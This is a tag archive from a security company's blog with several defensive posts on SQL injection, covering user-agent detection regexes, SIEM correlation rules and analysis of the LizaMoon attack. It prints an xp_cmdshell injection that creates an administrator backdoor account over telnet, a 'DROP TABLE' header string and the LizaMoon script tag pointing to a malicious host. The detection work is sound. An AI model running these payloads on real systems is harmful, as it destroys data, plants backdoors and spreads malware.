Posts tagged: 'sql injection'
The following posts are associated with the tag you have selected. You may subscribe to the RSS feed for this tag to receive future updates relevant to the topic(s) of your interest.
http://blog.logrhythm.com/tags/sql-injection/feed
“Reverse” SQL Injection Using HTTP Headers
I’ve been doing a good deal of research on HTTP Headers recently and was intrigued when I saw the following tweet last week.
The link takes you to a list of hosts that respond with the value “DROP TABLE” somewhere within the servers HTTP headers.
In case you aren’t already familiar with the HTTP protocol, when you make a request to a web site, lets say logrhythm.com, something like this is going on in the background.
In this case, we place a GET request for logrhythm.com and everything after the “HTTP/1.1 200 OK” are the HTTP header fields that the remote server server sent back to us. As we can see above, the server claims to be IIS/6.0. Based off of other returned header data, “X-powered-By:PleskWin, ASP.NET” for example, it’s probably a safe bet that it’s a windows server. Back to the point though, in the case of Mikko’s example, the servers listed don’t respond with a know server type, instead the following text:
Server: ‘; DROP TABLE servertypes; –
Clearly, this is not an actual server type, instead a SQL injection command.
Why would someone configure a server to respond this way?
Well, if we read the SQL it’s pretty simple. It’s telling the server to delete/remove the table servertypes. So who would be inserting HTTP Header response codes into a DB and would have a table named servertypes? Spiders, bots and crawlers of course! Well i’m guessing that’s the idea anyway.
So a bot hits your site, parses your header responses and tries to insert the value from “Server:” into a DB . If it happens to have a table named, servertype and SQL the statements aren’t being prepared or sanitized properly, then the table gets dropped.
Ultimately, it’s probably a joke more than anything but it’s interesting to think about. This assessment seems to be pretty accurate based on a Reddit mod’s explanation of why Reddit does it here. At this point I will have to also admit that this is not really “reverse” SQLi because that doesn’t really add up technically.
In event that you would like to configure your servers to reply with different responses, check out the following links:
Apache: http://httpd.apache.org/docs/2.0/mod/mod_headers.html
IIS7:http://technet.microsoft.com/en-us/library/cc753133(v=ws.10).aspx
NginX:http://blog.secaserver.com/2012/03/customize-server-header-nginx/
Also, I like this site for viewing HTTP headers where standard proxy means are not ideal. http://pgl.yoyo.org/http/server-headers.php
Tags: apache, DROP TABLES, http headers, IIS, NginX, sql injection, sqli
Finding Security Issues in the HTTP Request Headers, and the Mac OSX Flashback Botnet
LogRhythm Labs has recently initiated a research project into HTTP Request Header analysis, to include User Agent strings, both in proxy logs as well as web server logs. A few recent events have validated our interest in this topic.
The recently identified botnet targeting Mac OSX machines, reportedly with more than 600,000 hosts compromised (conficker-sized!), uses the bot’s MAC address as the User Agent when phoning home to C&C. Hosts infected with the Backdoor.Flashback.39 trojan can be identified with a simple regex looking for MAC address patterns in an organization’s proxy logs (see below for example regex’s).
We’ve also gotten our hands on some IIS log data from a recent high-profile breach. What we found was very interesting. The attackers didn’t bother to change the User Agent for the SQLi tools that were used. Both Havij and sqlmap were identified. Some simple whitelisting or blacklisting against the UA in the IIS logs would have easily caught these low-hanging fruit.
Stay tuned for more in-depth analysis of User Agent strings and HTTP Request Headers, as well as out-of-the-box content to help secure web applications using SIEM.
Example MAC Address Regex’s:
No dashes, colons, or spaces: [a-fA-F0-9]{12}
With dashes, colons, or spaces: ([a-fA-F0-9]{2}(:|-|\s)){5}[a-fA-F0-9]
UPDATE:
Kaspersky Labs gives an example User Agent string for the Flashback malware. Here’s a regex that will match it in proxy logs: id:[a-fA-F0-9]{8}-\w{4}-[a-fA-F0-9]{4}-\w{4}-[a-fA-F0-9]{12}
Tags: flashback, http headers, osx, sql injection, sqli, user agent
Using Correlation Rules To Perform Decentralized Threat Detection
Over the past few months while developing correlation rules for LogRhythm’s new Advanced Intelligence Engine, I started to think about a concept I’m calling “Decentralized Threat Detection.” While antivirus and IDS systems generally look for a threat in a single, specific spot, individual files and network packets, respectively, Decentralized Threat Detection looks at behavior patterns surrounding a threat rather than the threat itself, expanding the detection capabilities away from a single point. My colleague Zak Wolff’s recent blog post outlines some correlation ideas around this very concept. Malware developers are getting better and better at writing code that most anti-virus software can’t detect. A recent post in the SANS Handler Diary presents a perfect example. In short, relying on AV or IDS/HIDS by themselves simply isn’t enough to adequately detect all malicious activity.
By applying the concept of Decentralized Threat Detection when building correlation rules for a SIEM, we’re looking for various malicious activity patterns shared across all types of attacks, malware, exploits, etc. The specific technical details of the attack are irrelevant; we’re treating the attack as a black-box and looking for behavior patterns outside of the attack itself. While Zak applied this concept to detecting malicious PDFs in his post, I’ll be taking a look at a certain type of SQL injection.
The mother of all vulnerabilities for a SQL Server back-ended web application is when non-sanitized data is passed to the database using a privileged account, allowing xp_cmdshell to be enabled and command-line commands run as a privileged user. In a scenario like this, on a Windows Server 2008 system the following SQL statement will enable xp_cmdshell, install a telnet server, start the telnet service, create a backdooraccount, and add the account to both the TelnetClients group as well as the local administrators group.
master.dbo.sp_configure ‘show advanced options’, 1; RECONFIGURE; EXEC master.dbo.sp_configure ‘xp_cmdshell’, 1; RECONFIGURE; EXEC xp_cmdshell ‘ServerManagerCmd.exe -install Telnet-Server -allSubFeatures -resultPath C: TelnetServer.xml’; EXEC xp_cmdshell ‘sc config TlntSvr start= auto’; EXEC xp_cmdshell ‘sc start TlntSvr’; EXEC xp_cmdshell ‘net user backdooraccount password!1 /add’; EXEC xp_cmdshell ’net localgroup TelnetClients /add backdooraccount’; EXEC xp_cmdshell ‘net localgroup administrators /add backdooraccount’;
Depending on the obfuscation used/required during the injection, this injection like many others can go unnoticed, although the server would now be effectively owned.
However, let’s take a step back from the injection/SQL statement/vulnerability itself, and start to look at the log trail this activity leaves behind.
(the above SQL statements were run manually for easy isolation of the relevent log data for analysis)
When xp_cmdshell is enabled, a log is written to the SQL Server ERRORLOG:
2011-04-01 11:09:20.74 spid52 Configuration option ‘xp_cmdshell’ changed from 0 to 1. Run the RECONFIGURE statement to install.
A very similar log is also written to the Windows Application Event Log:
Log Name: Application
Source: MSSQLSERVER
Date: 4/1/2011 11:09:20 AM
Event ID: 15457
Task Category: (2)
Level: Information
Keywords: Classic
User: N/A
Computer: WIN2008TESTSERVER
Description:
Configuration option ‘xp_cmdshell’ changed from 0 to 1. Run the RECONFIGURE statement to install.
Event XML…
Already, without any visibility into the SQL injection itself, we can start to see some behavior surrounding the attack. The remaining commands run by xp_cmdshell via the injection all leave a trail in the Event Log data, including the telnet service starting, and the backdoor account creation and addition to local groups (Windows Server 2008 logs are long, so jump past the samples below to get to the punchline).
Telnet Service Starting:
Log Name: Application
Source: Microsoft-Windows-TelnetServer
Date: 4/1/2011 12:08:52 PM
Event ID: 1000
Task Category: None
Level: Information
Keywords: Classic
User: N/A
Computer: WIN2008TESTSERVER
Description:
Telnet Service was started successfully.
Event XML…
Backdoor account creation:
Log Name: Security
Source: Microsoft-Windows-Security-Auditing
Date: 4/1/2011 12:12:23 PM
Event ID: 4720
Task Category: User Account Management
Level: Information
Keywords: Audit Success
User: N/A
Computer: WIN2008TESTSERVER
Description:
A user account was created.
Subject:
Security ID: WIN2008TESTSERVERAdministrator
Account Name: Administrator
Account Domain: WIN2008TESTSERVER
Logon ID: 0x1d944
New Account:
Security ID: WIN2008TESTSERVERbackdooraccount
Account Name: backdooraccount
Account Domain: WIN2008TESTSERVER
Attributes:
SAM Account Name: backdooraccount
Display Name:
User Principal Name: -
Home Directory:
Home Drive:
Script Path:
Profile Path:
User Workstations:
Password Last Set:
Account Expires:
Primary Group ID: 513
Allowed To Delegate To: -
Old UAC Value: 0×0
New UAC Value: 0×15
User Account Control:
Account Disabled
‘Password Not Required’ – Enabled
‘Normal Account’ – Enabled
User Parameters:
SID History: -
Logon Hours: All
Additional Information:
Privileges -
Event XML …
New Account added to Administrators group:
Log Name: Security
Source: Microsoft-Windows-Security-Auditing
Date: 4/1/2011 12:13:54 PM
Event ID: 4732
Task Category: Security Group Management
Level: Information
Keywords: Audit Success
User: N/A
Computer: WIN2008TESTSERVER
Description:
A member was added to a security-enabled local group.
Subject:
Security ID: WIN2008TESTSERVERAdministrator
Account Name: Administrator
Account Domain: WIN2008TESTSERVER
Logon ID: 0x1d944
Member:
Security ID: WIN2008TESTSERVERbackdooraccount
Account Name: -
Group:
Security ID: BUILTINAdministrators
Group Name: Administrators
Group Domain: Builtin
Additional Information:
Privileges: -
Event Xml…
Backdoor account logging in via tlntsess.exe process and being granted administrative privileges:
Log Name: Security
Source: Microsoft-Windows-Security-Auditing
Date: 4/1/2011 12:14:43 PM
Event ID: 4624
Task Category: Logon
Level: Information
Keywords: Audit Success
User: N/A
Computer: WIN2008TESTSERVER
Description:
An account was successfully logged on.
Subject:
Security ID: LOCAL SERVICE
Account Name: LOCAL SERVICE
Account Domain: NT AUTHORITY
Logon ID: 0x3e5
Logon Type: 2
New Logon:
Security ID: WIN2008TESTSERVERbackdooraccount
Account Name: backdooraccount
Account Domain: WIN2008TESTSERVER
Logon ID: 0x4f1f1
Logon GUID: {00000000-0000-0000-0000-000000000000}
Process Information:
Process ID: 0x3fc
Process Name: C:WindowsSystem32tlntsess.exe
Network Information:
Workstation Name: WIN2008TESTSERVER
Source Network Address: -
Source Port: -
Detailed Authentication Information:
Logon Process: Advapi
Authentication Package: Negotiate
Transited Services: -
Package Name (NTLM only): -
Key Length: 0
This event is generated when a logon session is created. It is generated on the computer that was accessed.
The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.
The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).
The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.
The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.
The authentication information fields provide detailed information about this specific logon request.
– Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
– Transited services indicate which intermediate services have participated in this logon request.
– Package name indicates which sub-protocol was used among the NTLM protocols.
– Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
Event XML…
Log Name: Security
Source: Microsoft-Windows-Security-Auditing
Date: 4/1/2011 12:14:43 PM
Event ID: 4672
Task Category: Special Logon
Level: Information
Keywords: Audit Success
User: N/A
Computer: WIN2008TESTSERVER
Description:
Special privileges assigned to new logon.
Subject:
Security ID: WIN2008TESTSERVERbackdooraccount
Account Name: backdooraccount
Account Domain: WIN2008TESTSERVER
Logon ID: 0x4f1f1
Privileges: SeSecurityPrivilege
SeTakeOwnershipPrivilege
SeLoadDriverPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeDebugPrivilege
SeSystemEnvironmentPrivilege
SeImpersonatePrivilege
Event XML…
Post-attack activity also leaves a log trail. If perimeter firewall/netflow data is being collected, this telnet session would also be seen in those logs, as well as any other access/authentication attempts made by the backdoor account across the infrastructure.
Now we can build some correlation rules that will detect the activity pattern demonstrated in this attack:
1) A rule that looks for a configuration changed followed shortly by a process starting on the same host would detect the xp_cmdshell being enabled followed by the telnet service starting.
2) A rule that looks for a new account being created followed by immediate authentication activity from that same account would detect the backdoor account creation followed by the account being used to telnet back into the system.
3) A rule that looks for a configuration change followed by network activity on a new port would fire when the xp_cmdshell is enabled on a host followed by firewall/netflow data showing telnet activity to the same host.
4) A rule that looks for a new account being created, followed shortly by access/authentication failure activity from the same account.
Add additional white-listing, such as allowed accounts, allowed processes and/or allowed network ports, and the correlation rules become even more effective while reducing false-positives. And even simpler correlation rules can quickly be developed as well.
With a properly configured SIEM collecting data across the entire breadth and depth of an infrastructure, from the perimeter devices to the endpoint monitoring features and everything in between, the correlation rules outlined above would work wonderfully. By forgetting about the SQL Injection itself, and focusing the correlation rules on malicious activity patterns surrounding the attacks, we no longer have to rely solely on single points of detection, and can achieve “Decentralized Threat Detection.”
Tags: logrhythm, malware, siem, sql injection
LizaMoon : Analysis of a Blended Attack
There is a great write up on the LizaMoon attack on the SpiderLabs® Anterior blog. In this breakdown we’re shown multiple examples of the SQL injection payloads used by the attackers. What makes this particular attack interesting however are not the SQL payloads, but what the strings are being used to attack.
The first target of this blended attack are custom web applications. Ryan Barnett with SpiderLabs describes the challenges associated with mass attacking such a target below.
Historically, criminals had a tough time creating SQL Injection payloads that would mass exploit web applications. This was mainly due to websites running custom coded apps. No two sites were the same. This means that attackers didn’t have access to the target code so they were forced to conduct manual reconnaissance probes to enumerate database structures. This meant that if an attacker wanted to extract out customer credit card data from a back-end database, they would be forced to run reconnaissance probes in order to enumerate the database structure and naming conventions. This manual probing offered defenders time to identify and react to attacks before successful compromise of customer data.
So how did the Lizamoon attackers pull this off? The article appropriately sheds light on this key component of the attack but doesn’t elaborate in detail on the process. Without web server and/or database logs it’s difficult to know exactly what methods they employed. While I have seen reports of the XSS code being mass inserted into all DB fields, it seems likely that this actually represents a case where the attack is malfunctioning. Scanning the DB for common field names such as “title” may do the trick in some cases, but would not work all the time.
Regardless of how that first component of the attack is executed, it is clear that other parts of the attack are not as clever and are being misunderstood or simply not identified properly. While multiple sources mark March 29th as the start of this attack, evidence paints a different picture. Take for example 95.64.9.18. Later in the cycle of this attack, the IP resolved to hxxp: //worid-of-books.com and was one of the domains frequently seen being injected. In the attack’s earlier stages however, at least as early as February 11th, this IP was reportedly seen attempting a SQL injection against various servers.
Accurate or not, there seems to be even less information on the payload and its delivery method. Grouping all Rogue Security Applications into the same bucket might keep us from gathering a good understanding of the overall attack, but where are the Rogue Security Applications? I think it’s safe to say that the criminals were probably disappointed by falling so short of what this attack could have been. But, whether you give credit to security researchers for acting quickly to shut down domains or you simply consider it poor planning on the scammers’ part, we can expect to see better randomization and distribution of domain names the next time around.
An interesting byproduct of this attack is the number and variety of URLs pushing pay-per-click ads jumping on the LizaMoon media bandwagon. Like this gem:
Crafty marketing or a simple case of web vigilantism in action?
Tags: lizamoon, network security, rogue security applications, sql injection
Initial Thoughts: LizaMoon Mass SQL Injection
While I will be posting a more in-depth analysis of the LizaMoon attack, here are a few early thoughts from Dave Pack while his blogger profile gets set up. Dave manages LogRhythm’s Knowledge Engineering department and has been working in information security and advanced data analysis for over ten years.
Various security organizations/bloggers are tracking a mass SQL Injection currently being called “LizaMoon” (one of the first websites identified). While we haven’t a chance to fully analyze the attack, based on information being aggregated by SANS and Stackoverflow, it looks like this is a combination SQL Injection/Stored XSS Attack, the final target being client-side end-users.
It appears that the SQL Injection is taking advantage of a web application vulnerability. The injection itself is delivering a Stored XSS attack to the vulnerably web servers, consisting of a script (< / title> < script src = http : // google-stats49.info/ur.php >) that redirects unlucky internet users to a different site hosting a file named ur.php. This php file is where the dirty work is actually done. It launches an exploit which installs fake AV software on the end-user’s machine.
What’s really interesting is that the SQL injection is really just a means of delivering the much more dangerous Stored XSS to vulnerable web servers. Stored XSS are much scarier than a standard Reflected XSS because a user doesn’t have to be tricked into clicking a maliciously crafted URL. The XSS attack is simply sitting on the web server, waiting for any unlucky internet user to browse to the compromised website.
We’re attempting to get our hands on the ur.php code for further analysis of the client-side exploit, after which one of our analysts will be posting an update. In the meantime, here are some things both web administrators and end users can do to detect this attack and help protect against it.
SQL Injection:
1. Implement standard protections, such as sanitizing all database inputs and using parameterized queries across the board, to limit what can get through.
2. Check if a web server is being targeted by most types of SQL injections.
a. In particular, look at your access logs for “)-” in the URL. It is extremely rare for legitimate input to be commenting out the rest of a SQL statement.
b. Check for various encodings of the same string as well. LogRhythm provides an out-of-the-box AI Engine advanced correlation rule that looks for these strings in a URL and will alarm on any injection attempts.
Stored XSS:
1. If the functionality is available in your infrastructure, block any attempts to access a website with “ur.php” in the URL.
2. Practice standard “safe browsing” techniques. Many browsers offer a plugin, such as NoScript which forces users to explicitly grant any script permission to run client-side. Use a plugin like this, or disable javascript all together if it’s not needed for business purposes.
Tags: advanced correlation, information security, lizamoon, sql injection
LogRhythm wins "Innovator of the Year" from SC Magazine. "This is not your father's log manager."